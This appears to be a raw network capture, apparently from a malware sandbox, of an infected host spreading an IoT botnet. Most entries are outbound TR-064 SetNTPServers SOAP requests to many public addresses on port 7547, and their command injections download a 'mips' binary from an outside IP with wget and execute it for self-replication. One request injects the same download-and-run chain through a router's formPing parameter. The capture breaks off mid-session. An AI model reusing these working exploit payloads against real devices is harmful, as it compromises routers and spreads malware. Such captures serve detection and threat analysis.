Apr 15, 2024 08:52:56.775566101 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.13	51180	61.76.227.58	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.048645020 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.412456036 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.13	60110	125.138.73.42	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.052609921 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.13	52532	125.157.112.139	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.063750982 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.13	54696	14.78.176.81	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.067608118 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.13	37160	62.29.61.174	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.097465992 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.13	47572	203.63.103.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.100945950 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.442190886 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:57 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.13	60610	95.31.153.220	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.119364977 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.475558996 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:57 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.13	59324	2.142.104.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.129180908 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:58.976432085 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.13	56254	109.191.199.13	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.133743048 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.502343893 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 11:52:58 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.13	48628	94.96.210.170	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.161632061 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.200438023 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:01.792485952 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:06.656424046 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:16.384413958 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:36.096435070 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.13	47590	203.63.103.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.437295914 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.777110100 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:57 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.13	60628	95.31.153.220	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.472624063 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.826385021 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:57 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.13	56272	109.191.199.13	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.514750957 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.920752048 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 11:52:58 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.13	48646	94.96.210.170	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:57.557157040 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.584434986 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:02.048547983 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:06.916421890 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:16.640409946 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:36.096435070 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.13	39398	163.191.71.200	7547

Timestamp	Bytes transferred	Direction	Data
